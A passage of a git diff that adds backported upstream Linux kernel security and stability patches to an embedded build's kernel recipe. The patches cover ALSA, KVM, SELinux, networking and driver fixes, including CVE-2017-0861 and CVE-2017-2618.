sg_ioctl(struct file *filp, unsigned int cmd_in, unsigned long arg) + sfp->low_dma = 1; + if ((0 == sfp->low_dma) && (0 == sg_res_in_use(sfp))) { + val = (int) sfp->reserve.bufflen; ++ mutex_lock(&sfp->parentdp->open_rel_lock); + sg_remove_scat(sfp, &sfp->reserve); + sg_build_reserve(sfp, val); ++ mutex_unlock(&sfp->parentdp->open_rel_lock); + } + } else { + if (atomic_read(&sdp->detaching)) +@@ -985,15 +989,17 @@ sg_ioctl(struct file *filp, unsigned int cmd_in, unsigned long arg) + result = get_user(val, ip); + if (result) + return result; +- if (val < 0) +- return -EINVAL; ++ if (val < 0) ++ return -EINVAL; + val = min_t(int, val, + max_sectors_bytes(sdp->device->request_queue)); + if (val != sfp->reserve.bufflen) { + if (sg_res_in_use(sfp) || sfp->mmap_called) + return -EBUSY; ++ mutex_lock(&sfp->parentdp->open_rel_lock); + sg_remove_scat(sfp, &sfp->reserve); + sg_build_reserve(sfp, val); ++ mutex_unlock(&sfp->parentdp->open_rel_lock); + } + return 0; + case SG_GET_RESERVED_SIZE: diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0201-50ebcbade88d-ALSA pcm remove SNDRVPCMIOCTL1INFO internal command.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0201-50ebcbade88d-ALSA pcm remove SNDRVPCMIOCTL1INFO internal command.patch new file mode 100644 index 0000000..8c650cf --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0201-50ebcbade88d-ALSA pcm remove SNDRVPCMIOCTL1INFO internal command.patch @@ -0,0 +1,78 @@ +From 50ebcbade88d99aeb2d7917169ed8a3c3fc5da0d Mon Sep 17 00:00:00 2001 +From: Takashi Sakamoto +Date: Wed, 14 Jun 2017 19:30:03 +0900 +Subject: ALSA: pcm: remove SNDRV_PCM_IOCTL1_INFO internal command + +commit e11f0f90a626f93899687b1cc909ee37dd6c5809 upstream. + +Drivers can implement 'struct snd_pcm_ops.ioctl' to handle some requests +from ALSA PCM core. These requests are internal purpose in kernel land. +Usually common set of operations are used for it. + +SNDRV_PCM_IOCTL1_INFO is one of the requests. According to code comment, +it has been obsoleted in the old days. + +We can see old releases in ftp.alsa-project.org. The command was firstly +introduced in v0.5.0 release as SND_PCM_IOCTL1_INFO, to allow drivers to +fill data of 'struct snd_pcm_channel_info' type. In v0.9.0 release, +this was obsoleted by the other commands for ioctl(2) such as +SNDRV_PCM_IOCTL_CHANNEL_INFO. + +This commit removes the long-abandoned command, bye. + +Signed-off-by: Takashi Sakamoto +Signed-off-by: Takashi Iwai +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + include/sound/pcm.h | 2 +- + sound/core/pcm_lib.c | 2 -- + sound/core/pcm_native.c | 6 +----- + 3 files changed, 2 insertions(+), 8 deletions(-) + +diff --git a/include/sound/pcm.h b/include/sound/pcm.h +index e02b1b8d8ee4b..21b0129c18506 100644 +--- a/include/sound/pcm.h ++++ b/include/sound/pcm.h +@@ -98,7 +98,7 @@ struct snd_pcm_ops { + #define SNDRV_PCM_IOCTL1_TRUE ((void *)1) + + #define SNDRV_PCM_IOCTL1_RESET 0 +-#define SNDRV_PCM_IOCTL1_INFO 1 ++/* 1 is absent slot. */ + #define SNDRV_PCM_IOCTL1_CHANNEL_INFO 2 + #define SNDRV_PCM_IOCTL1_GSTATE 3 + #define SNDRV_PCM_IOCTL1_FIFO_SIZE 4 +diff --git a/sound/core/pcm_lib.c b/sound/core/pcm_lib.c +index 25d4d20138fe1..e3382fbaf58d6 100644 +--- a/sound/core/pcm_lib.c ++++ b/sound/core/pcm_lib.c +@@ -1818,8 +1818,6 @@ int snd_pcm_lib_ioctl(struct snd_pcm_substream *substream, + unsigned int cmd, void *arg) + { + switch (cmd) { +- case SNDRV_PCM_IOCTL1_INFO: +- return 0; + case SNDRV_PCM_IOCTL1_RESET: + return snd_pcm_lib_ioctl_reset(substream, arg); + case SNDRV_PCM_IOCTL1_CHANNEL_INFO: +diff --git a/sound/core/pcm_native.c b/sound/core/pcm_native.c +index 7b61399176551..afdb678cc7570 100644 +--- a/sound/core/pcm_native.c ++++ b/sound/core/pcm_native.c +@@ -216,11 +216,7 @@ int snd_pcm_info(struct snd_pcm_substream *substream, struct snd_pcm_info *info) + info->subdevices_avail = pstr->substream_count - pstr->substream_opened; + strlcpy(info->subname, substream->name, sizeof(info->subname)); + runtime = substream->runtime; +- /* AB: FIXME!!! This is definitely nonsense */ +- if (runtime) { +- info->sync = runtime->sync; +- substream->ops->ioctl(substream, SNDRV_PCM_IOCTL1_INFO, info); +- } ++ + return 0; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0202-362bca57f5d7-ALSA pcm prevent UAF in sndpcminfo.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0202-362bca57f5d7-ALSA pcm prevent UAF in sndpcminfo.patch new file mode 100644 index 0000000..d99293c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0202-362bca57f5d7-ALSA pcm prevent UAF in sndpcminfo.patch @@ -0,0 +1,37 @@ +From 362bca57f5d78220f8b5907b875961af9436e229 Mon Sep 17 00:00:00 2001 +From: Robb Glasser +Date: Tue, 5 Dec 2017 09:16:55 -0800 +Subject: ALSA: pcm: prevent UAF in snd_pcm_info + +When the device descriptor is closed, the `substream->runtime` pointer +is freed. But another thread may be in the ioctl handler, case +SNDRV_CTL_IOCTL_PCM_INFO. This case calls snd_pcm_info_user() which +calls snd_pcm_info() which accesses the now freed `substream->runtime`. + +Note: this fixes CVE-2017-0861 + +Signed-off-by: Robb Glasser +Signed-off-by: Nick Desaulniers +Cc: +Signed-off-by: Takashi Iwai +--- + sound/core/pcm.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/sound/core/pcm.c b/sound/core/pcm.c +index 9070f277f8db9..09ee8c6b9f75e 100644 +--- a/sound/core/pcm.c ++++ b/sound/core/pcm.c +@@ -153,7 +153,9 @@ static int snd_pcm_control_ioctl(struct snd_card *card, + err = -ENXIO; + goto _error; + } ++ mutex_lock(&pcm->open_mutex); + err = snd_pcm_info_user(substream, info); ++ mutex_unlock(&pcm->open_mutex); + _error: + mutex_unlock(®ister_mutex); + return err; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0203.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0203.diff new file mode 100644 index 0000000..51711f3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0203.diff @@ -0,0 +1,25 @@ +diff --git a/drivers/gpu/drm/nouveau/nouveau_usif.c b/drivers/gpu/drm/nouveau/nouveau_usif.c +index cb1182d..8d4fcc1 100644 +--- a/drivers/gpu/drm/nouveau/nouveau_usif.c ++++ b/drivers/gpu/drm/nouveau/nouveau_usif.c +@@ -316,6 +316,12 @@ + } else + goto done; + ++ object = (void *)(unsigned long)argv->v0.token; ++ if (!access_ok(VERIFY_READ, object, sizeof(struct usif_object))) { ++ ret = -EINVAL; ++ goto done; ++ } ++ + mutex_lock(&cli->mutex); + switch (argv->v0.type) { + case NVIF_IOCTL_V0_NEW: +@@ -340,7 +346,6 @@ + break; + } + if (argv->v0.route == NVDRM_OBJECT_USIF) { +- object = (void *)(unsigned long)argv->v0.token; + argv->v0.route = object->route; + argv->v0.token = object->token; + if (ret == 0 && argv->v0.type == NVIF_IOCTL_V0_DEL) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0204.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0204.diff new file mode 100644 index 0000000..06839d2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0204.diff @@ -0,0 +1,78 @@ +diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c +index 0975b4c..f60dd60 100644 +--- a/arch/x86/kvm/emulate.c ++++ b/arch/x86/kvm/emulate.c +@@ -1470,7 +1470,6 @@ + &ctxt->exception); + } + +-/* Does not support long mode */ + static int __load_segment_descriptor(struct x86_emulate_ctxt *ctxt, + u16 selector, int seg, u8 cpl, + bool in_task_switch, +@@ -1507,20 +1506,34 @@ + + rpl = selector & 3; + +- /* NULL selector is not valid for TR, CS and SS (except for long mode) */ +- if ((seg == VCPU_SREG_CS +- || (seg == VCPU_SREG_SS +- && (ctxt->mode != X86EMUL_MODE_PROT64 || rpl != cpl)) +- || seg == VCPU_SREG_TR) +- && null_selector) +- goto exception; +- + /* TR should be in GDT only */ + if (seg == VCPU_SREG_TR && (selector & (1 << 2))) + goto exception; + +- if (null_selector) /* for NULL selector skip all following checks */ ++ /* NULL selector is not valid for TR, CS and (except for long mode) SS */ ++ if (null_selector) { ++ if (seg == VCPU_SREG_CS || seg == VCPU_SREG_TR) ++ goto exception; ++ ++ if (seg == VCPU_SREG_SS) { ++ if (ctxt->mode != X86EMUL_MODE_PROT64 || rpl != cpl) ++ goto exception; ++ ++ /* ++ * ctxt->ops->set_segment expects the CPL to be in ++ * SS.DPL, so fake an expand-up 32-bit data segment. ++ */ ++ seg_desc.type = 3; ++ seg_desc.p = 1; ++ seg_desc.s = 1; ++ seg_desc.dpl = cpl; ++ seg_desc.d = 1; ++ seg_desc.g = 1; ++ } ++ ++ /* Skip all following checks */ + goto load; ++ } + + ret = read_segment_descriptor(ctxt, selector, &seg_desc, &desc_addr); + if (ret != X86EMUL_CONTINUE) +@@ -1626,6 +1639,21 @@ + u16 selector, int seg) + { + u8 cpl = ctxt->ops->cpl(ctxt); ++ ++ /* ++ * None of MOV, POP and LSS can load a NULL selector in CPL=3, but ++ * they can load it at CPL<3 (Intel's manual says only LSS can, ++ * but it's wrong). ++ * ++ * However, the Intel manual says that putting IST=1/DPL=3 in ++ * an interrupt gate will result in SS=3 (the AMD manual instead ++ * says it doesn't), so allow SS=3 in __load_segment_descriptor ++ * and only forbid it here. ++ */ ++ if (seg == VCPU_SREG_SS && selector == 3 && ++ ctxt->mode == X86EMUL_MODE_PROT64) ++ return emulate_exception(ctxt, GP_VECTOR, 0, true); ++ + return __load_segment_descriptor(ctxt, selector, seg, cpl, false, NULL); + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0205-aa5b35bad59a-kvm fix page struct leak in handlevmon.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0205-aa5b35bad59a-kvm fix page struct leak in handlevmon.patch new file mode 100644 index 0000000..4e32085 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0205-aa5b35bad59a-kvm fix page struct leak in handlevmon.patch @@ -0,0 +1,51 @@ +From aa5b35bad59a2691db0ea739fb79be82aff5cbb8 Mon Sep 17 00:00:00 2001 +From: Paolo Bonzini +Date: Tue, 24 Jan 2017 11:56:21 +0100 +Subject: kvm: fix page struct leak in handle_vmon + +commit 06ce521af9558814b8606c0476c54497cf83a653 upstream. + +handle_vmon gets a reference on VMXON region page, +but does not release it. Release the reference. + +Found by syzkaller; based on a patch by Dmitry. + +Reported-by: Dmitry Vyukov +Signed-off-by: Paolo Bonzini +[bwh: Backported to 3.16: use skip_emulated_instruction()] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/vmx.c | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 888eaab57fbc..cf53e4acddb6 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -6079,14 +6079,20 @@ static int nested_vmx_check_vmptr(struct kvm_vcpu *vcpu, int exit_reason, + } + + page = nested_get_page(vcpu, vmptr); +- if (page == NULL || +- *(u32 *)kmap(page) != VMCS12_REVISION) { ++ if (page == NULL) { + nested_vmx_failInvalid(vcpu); ++ skip_emulated_instruction(vcpu); ++ return 1; ++ } ++ if (*(u32 *)kmap(page) != VMCS12_REVISION) { + kunmap(page); ++ nested_release_page_clean(page); ++ nested_vmx_failInvalid(vcpu); + skip_emulated_instruction(vcpu); + return 1; + } + kunmap(page); ++ nested_release_page_clean(page); + vmx->nested.vmxon_ptr = vmptr; + break; + case EXIT_REASON_VMCLEAR: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0206-0f436bf3f81b-selinux fix offbyone in setprocattr.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0206-0f436bf3f81b-selinux fix offbyone in setprocattr.patch new file mode 100644 index 0000000..32da397 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0206-0f436bf3f81b-selinux fix offbyone in setprocattr.patch @@ -0,0 +1,66 @@ +From 0f436bf3f81b0674414d198a01bffc4ecae4590e Mon Sep 17 00:00:00 2001 +From: Stephen Smalley +Date: Tue, 31 Jan 2017 11:54:04 -0500 +Subject: selinux: fix off-by-one in setprocattr + +commit 0c461cb727d146c9ef2d3e86214f498b78b7d125 upstream. + +SELinux tries to support setting/clearing of /proc/pid/attr attributes +from the shell by ignoring terminating newlines and treating an +attribute value that begins with a NUL or newline as an attempt to +clear the attribute. However, the test for clearing attributes has +always been wrong; it has an off-by-one error, and this could further +lead to reading past the end of the allocated buffer since commit +bb646cdb12e75d82258c2f2e7746d5952d3e321a ("proc_pid_attr_write(): +switch to memdup_user()"). Fix the off-by-one error. + +Even with this fix, setting and clearing /proc/pid/attr attributes +from the shell is not straightforward since the interface does not +support multiple write() calls (so shells that write the value and +newline separately will set and then immediately clear the attribute, +requiring use of echo -n to set the attribute), whereas trying to use +echo -n "" to clear the attribute causes the shell to skip the +write() call altogether since POSIX says that a zero-length write +causes no side effects. Thus, one must use echo -n to set and echo +without -n to clear, as in the following example: +$ echo -n unconfined_u:object_r:user_home_t:s0 > /proc/$$/attr/fscreate +$ cat /proc/$$/attr/fscreate +unconfined_u:object_r:user_home_t:s0 +$ echo "" > /proc/$$/attr/fscreate +$ cat /proc/$$/attr/fscreate + +Note the use of /proc/$$ rather than /proc/self, as otherwise +the cat command will read its own attribute value, not that of the shell. + +There are no users of this facility to my knowledge; possibly we +should just get rid of it. + +UPDATE: Upon further investigation it appears that a local process +with the process:setfscreate permission can cause a kernel panic as a +result of this bug. This patch fixes CVE-2017-2618. + +Signed-off-by: Stephen Smalley +[PM: added the update about CVE-2017-2618 to the commit description] +Signed-off-by: Paul Moore +Signed-off-by: James Morris +Signed-off-by: Greg Kroah-Hartman +--- + security/selinux/hooks.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c +index b1e455b47b820..be04b056c1bd3 100644 +--- a/security/selinux/hooks.c ++++ b/security/selinux/hooks.c +@@ -5594,7 +5594,7 @@ static int selinux_setprocattr(struct task_struct *p, + return error; + + /* Obtain a SID for the context, if one was specified. */ +- if (size && str[1] && str[1] != '\n') { ++ if (size && str[0] && str[0] != '\n') { + if (str[size-1] == '\n') { + str[size-1] = 0; + size--; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0207-4e340a02d59c-ping implement proper locking.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0207-4e340a02d59c-ping implement proper locking.patch new file mode 100644 index 0000000..7435de5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0207-4e340a02d59c-ping implement proper locking.patch @@ -0,0 +1,57 @@ +From 4e340a02d59c230b99460574c6a8fc87dc1a9a47 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 24 Mar 2017 19:36:13 -0700 +Subject: ping: implement proper locking + +commit 43a6684519ab0a6c52024b5e25322476cabad893 upstream. + +We got a report of yet another bug in ping + +http://www.openwall.com/lists/oss-security/2017/03/24/6 + +->disconnect() is not called with socket lock held. + +Fix this by acquiring ping rwlock earlier. + +Thanks to Daniel, Alexander and Andrey for letting us know this problem. + +Fixes: c319b4d76b9e ("net: ipv4: add IPPROTO_ICMP socket kind") +Signed-off-by: Eric Dumazet +Reported-by: Daniel Jiang +Reported-by: Solar Designer +Reported-by: Andrey Konovalov +Signed-off-by: David S. Miller +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv4/ping.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c +index c225b227cc45..148678dd045c 100644 +--- a/net/ipv4/ping.c ++++ b/net/ipv4/ping.c +@@ -154,17 +154,18 @@ void ping_hash(struct sock *sk) + void ping_unhash(struct sock *sk) + { + struct inet_sock *isk = inet_sk(sk); ++ + pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); ++ write_lock_bh(&ping_table.lock); + if (sk_hashed(sk)) { +- write_lock_bh(&ping_table.lock); + hlist_nulls_del(&sk->sk_nulls_node); + sk_nulls_node_init(&sk->sk_nulls_node); + sock_put(sk); + isk->inet_num = 0; + isk->inet_sport = 0; + sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); +- write_unlock_bh(&ping_table.lock); + } ++ write_unlock_bh(&ping_table.lock); + } + EXPORT_SYMBOL_GPL(ping_unhash); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0208.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0208.diff new file mode 100644 index 0000000..db19ce7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0208.diff @@ -0,0 +1,20 @@ +diff --git a/drivers/usb/serial/kl5kusb105.c b/drivers/usb/serial/kl5kusb105.c +index cd03225..83c823d 100644 +--- a/drivers/usb/serial/kl5kusb105.c ++++ b/drivers/usb/serial/kl5kusb105.c +@@ -192,10 +192,11 @@ + status_buf, KLSI_STATUSBUF_LEN, + 10000 + ); +- if (rc < 0) +- dev_err(&port->dev, "Reading line status failed (error = %d)\n", +- rc); +- else { ++ if (rc != KLSI_STATUSBUF_LEN) { ++ dev_err(&port->dev, "reading line status failed: %d\n", rc); ++ if (rc >= 0) ++ rc = -EIO; ++ } else { + status = get_unaligned_le16(status_buf); + + dev_info(&port->serial->dev->dev, "read status %x %x\n", diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0209.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0209.diff new file mode 100644 index 0000000..f0b32b3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0209.diff @@ -0,0 +1,20 @@ +diff --git a/fs/posix_acl.c b/fs/posix_acl.c +index 38c9193..49c7805 100644 +--- a/fs/posix_acl.c ++++ b/fs/posix_acl.c +@@ -904,11 +904,10 @@ + int error; + + if (type == ACL_TYPE_ACCESS) { +- error = posix_acl_equiv_mode(acl, &inode->i_mode); +- if (error < 0) +- return 0; +- if (error == 0) +- acl = NULL; ++ error = posix_acl_update_mode(inode, ++ &inode->i_mode, &acl); ++ if (error) ++ return error; + } + + inode->i_ctime = CURRENT_TIME; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0210.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0210.diff new file mode 100644 index 0000000..a9e7a6f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0210.diff @@ -0,0 +1,31 @@ +diff --git a/ipc/shm.c b/ipc/shm.c +index 2511771..6948687 100644 +--- a/ipc/shm.c ++++ b/ipc/shm.c +@@ -1048,8 +1048,8 @@ + * "raddr" thing points to kernel space, and there has to be a wrapper around + * this. + */ +-long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr, +- unsigned long shmlba) ++long do_shmat(int shmid, char __user *shmaddr, int shmflg, ++ ulong *raddr, unsigned long shmlba) + { + struct shmid_kernel *shp; + unsigned long addr; +@@ -1070,8 +1070,13 @@ + goto out; + else if ((addr = (ulong)shmaddr)) { + if (addr & (shmlba - 1)) { +- if (shmflg & SHM_RND) +- addr &= ~(shmlba - 1); /* round down */ ++ /* ++ * Round down to the nearest multiple of shmlba. ++ * For sane do_mmap_pgoff() parameters, avoid ++ * round downs that trigger nil-page and MAP_FIXED. ++ */ ++ if ((shmflg & SHM_RND) && addr >= shmlba) ++ addr &= ~(shmlba - 1); + else + #ifndef __ARCH_FORCE_SHMLBA + if (addr & ~PAGE_MASK) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0211-3bbaa8061856-ip6gre fix ip6greerr invalid reads.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0211-3bbaa8061856-ip6gre fix ip6greerr invalid reads.patch new file mode 100644 index 0000000..79ac5ba --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0211-3bbaa8061856-ip6gre fix ip6greerr invalid reads.patch @@ -0,0 +1,103 @@ +From 3bbaa8061856b883c9deb16d1942188ef2608850 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sat, 4 Feb 2017 23:18:55 -0800 +Subject: ip6_gre: fix ip6gre_err() invalid reads + +[ Upstream commit 7892032cfe67f4bde6fc2ee967e45a8fbaf33756 ] + +Andrey Konovalov reported out of bound accesses in ip6gre_err() + +If GRE flags contains GRE_KEY, the following expression +*(((__be32 *)p) + (grehlen / 4) - 1) + +accesses data ~40 bytes after the expected point, since +grehlen includes the size of IPv6 headers. + +Let's use a "struct gre_base_hdr *greh" pointer to make this +code more readable. + +p[1] becomes greh->protocol. +grhlen is the GRE header length. + +Fixes: c12b395a4664 ("gre: Support GRE over IPv6") +Signed-off-by: Eric Dumazet +Reported-by: Andrey Konovalov +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv6/ip6_gre.c | 41 ++++++++++++++++++++++------------------- + 1 file changed, 22 insertions(+), 19 deletions(-) + +diff --git a/net/ipv6/ip6_gre.c b/net/ipv6/ip6_gre.c +index 1a93a39b2aab..a73db915f13e 100644 +--- a/net/ipv6/ip6_gre.c ++++ b/net/ipv6/ip6_gre.c +@@ -55,6 +55,7 @@ + #include + #include + #include ++#include + + + static bool log_ecn_error = true; +@@ -367,35 +368,37 @@ static void ip6gre_tunnel_uninit(struct net_device *dev) + + + static void ip6gre_err(struct sk_buff *skb, struct inet6_skb_parm *opt, +- u8 type, u8 code, int offset, __be32 info) ++ u8 type, u8 code, int offset, __be32 info) + { +- const struct ipv6hdr *ipv6h = (const struct ipv6hdr *)skb->data; +- __be16 *p = (__be16 *)(skb->data + offset); +- int grehlen = offset + 4; ++ const struct gre_base_hdr *greh; ++ const struct ipv6hdr *ipv6h; ++ int grehlen = sizeof(*greh); + struct ip6_tnl *t; ++ int key_off = 0; + __be16 flags; ++ __be32 key; + +- flags = p[0]; +- if (flags&(GRE_CSUM|GRE_KEY|GRE_SEQ|GRE_ROUTING|GRE_VERSION)) { +- if (flags&(GRE_VERSION|GRE_ROUTING)) +- return; +- if (flags&GRE_KEY) { +- grehlen += 4; +- if (flags&GRE_CSUM) +- grehlen += 4; +- } ++ if (!pskb_may_pull(skb, offset + grehlen)) ++ return; ++ greh = (const struct gre_base_hdr *)(skb->data + offset); ++ flags = greh->flags; ++ if (flags & (GRE_VERSION | GRE_ROUTING)) ++ return; ++ if (flags & GRE_CSUM) ++ grehlen += 4; ++ if (flags & GRE_KEY) { ++ key_off = grehlen + offset; ++ grehlen += 4; + } + +- /* If only 8 bytes returned, keyed message will be dropped here */ +- if (!pskb_may_pull(skb, grehlen)) ++ if (!pskb_may_pull(skb, offset + grehlen)) + return; + ipv6h = (const struct ipv6hdr *)skb->data; +- p = (__be16 *)(skb->data + offset); ++ greh = (const struct gre_base_hdr *)(skb->data + offset); ++ key = key_off ? *(__be32 *)(skb->data + key_off) : 0; + + t = ip6gre_tunnel_lookup(skb->dev, &ipv6h->daddr, &ipv6h->saddr, +- flags & GRE_KEY ? +- *(((__be32 *)p) + (grehlen / 4) - 1) : 0, +- p[1]); ++ key, greh->protocol); + if (t == NULL) + return; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0212-a4a3d26a1d4e-sctp avoid BUGON on sctpwaitforsndbuf.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0212-a4a3d26a1d4e-sctp avoid BUGON on sctpwaitforsndbuf.patch new file mode 100644 index 0000000..dc8bf5b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0212-a4a3d26a1d4e-sctp avoid BUGON on sctpwaitforsndbuf.patch @@ -0,0 +1,43 @@ +From a4a3d26a1d4e0702b1b54c8dc9c56ed61742568a Mon Sep 17 00:00:00 2001 +From: Marcelo Ricardo Leitner +Date: Mon, 6 Feb 2017 18:10:31 -0200 +Subject: sctp: avoid BUG_ON on sctp_wait_for_sndbuf + +[ Upstream commit 2dcab598484185dea7ec22219c76dcdd59e3cb90 ] + +Alexander Popov reported that an application may trigger a BUG_ON in +sctp_wait_for_sndbuf if the socket tx buffer is full, a thread is +waiting on it to queue more data and meanwhile another thread peels off +the association being used by the first thread. + +This patch replaces the BUG_ON call with a proper error handling. It +will return -EPIPE to the original sendmsg call, similarly to what would +have been done if the association wasn't found in the first place. + +Acked-by: Alexander Popov +Signed-off-by: Marcelo Ricardo Leitner +Reviewed-by: Xin Long +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/socket.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/net/sctp/socket.c b/net/sctp/socket.c +index 72da7d58ccca..0c41dbb5bdf6 100644 +--- a/net/sctp/socket.c ++++ b/net/sctp/socket.c +@@ -6962,7 +6962,8 @@ static int sctp_wait_for_sndbuf(struct sctp_association *asoc, long *timeo_p, + */ + release_sock(sk); + current_timeo = schedule_timeout(current_timeo); +- BUG_ON(sk != asoc->base.sk); ++ if (sk != asoc->base.sk) ++ goto do_error; + lock_sock(sk); + + *timeo_p = current_timeo; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0213-5b8f1011ac53-netllc avoid BUGON in skborphan.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0213-5b8f1011ac53-netllc avoid BUGON in skborphan.patch new file mode 100644 index 0000000..796e86b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0213-5b8f1011ac53-netllc avoid BUGON in skborphan.patch @@ -0,0 +1,61 @@ +From 5b8f1011ac5363df3a6051223d146144f4af47d7 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sun, 12 Feb 2017 14:03:52 -0800 +Subject: net/llc: avoid BUG_ON() in skb_orphan() + +[ Upstream commit 8b74d439e1697110c5e5c600643e823eb1dd0762 ] + +It seems nobody used LLC since linux-3.12. + +Fortunately fuzzers like syzkaller still know how to run this code, +otherwise it would be no fun. + +Setting skb->sk without skb->destructor leads to all kinds of +bugs, we now prefer to be very strict about it. + +Ideally here we would use skb_set_owner() but this helper does not exist yet, +only CAN seems to have a private helper for that. + +Fixes: 376c7311bdb6 ("net: add a temporary sanity check in skb_orphan()") +Signed-off-by: Eric Dumazet +Reported-by: Andrey Konovalov +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/llc/llc_conn.c | 3 +++ + net/llc/llc_sap.c | 3 +++ + 2 files changed, 6 insertions(+) + +diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c +index 42dc2e45c921..9c68d0bca046 100644 +--- a/net/llc/llc_conn.c ++++ b/net/llc/llc_conn.c +@@ -821,7 +821,10 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb) + * another trick required to cope with how the PROCOM state + * machine works. -acme + */ ++ skb_orphan(skb); ++ sock_hold(sk); + skb->sk = sk; ++ skb->destructor = sock_efree; + } + if (!sock_owned_by_user(sk)) + llc_conn_rcv(sk, skb); +diff --git a/net/llc/llc_sap.c b/net/llc/llc_sap.c +index 06033f6c845f..cdc1b620cbe1 100644 +--- a/net/llc/llc_sap.c ++++ b/net/llc/llc_sap.c +@@ -290,7 +290,10 @@ static void llc_sap_rcv(struct llc_sap *sap, struct sk_buff *skb, + + ev->type = LLC_SAP_EV_TYPE_PDU; + ev->reason = 0; ++ skb_orphan(skb); ++ sock_hold(sk); + skb->sk = sk; ++ skb->destructor = sock_efree; + llc_sap_state_process(sap, skb); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0214.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0214.diff new file mode 100644 index 0000000..c2c9986 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0214.diff @@ -0,0 +1,66 @@ +diff --git a/net/irda/irqueue.c b/net/irda/irqueue.c +index 7152624..26ccd65 100644 +--- a/net/irda/irqueue.c ++++ b/net/irda/irqueue.c +@@ -385,9 +385,6 @@ + * for deallocating this structure if it's complex. If not the user can + * just supply kfree, which should take care of the job. + */ +-#ifdef CONFIG_LOCKDEP +-static int hashbin_lock_depth = 0; +-#endif + int hashbin_delete( hashbin_t* hashbin, FREE_FUNC free_func) + { + irda_queue_t* queue; +@@ -398,22 +395,27 @@ + IRDA_ASSERT(hashbin->magic == HB_MAGIC, return -1;); + + /* Synchronize */ +- if ( hashbin->hb_type & HB_LOCK ) { +- spin_lock_irqsave_nested(&hashbin->hb_spinlock, flags, +- hashbin_lock_depth++); +- } ++ if (hashbin->hb_type & HB_LOCK) ++ spin_lock_irqsave(&hashbin->hb_spinlock, flags); + + /* + * Free the entries in the hashbin, TODO: use hashbin_clear when + * it has been shown to work + */ + for (i = 0; i < HASHBIN_SIZE; i ++ ) { +- queue = 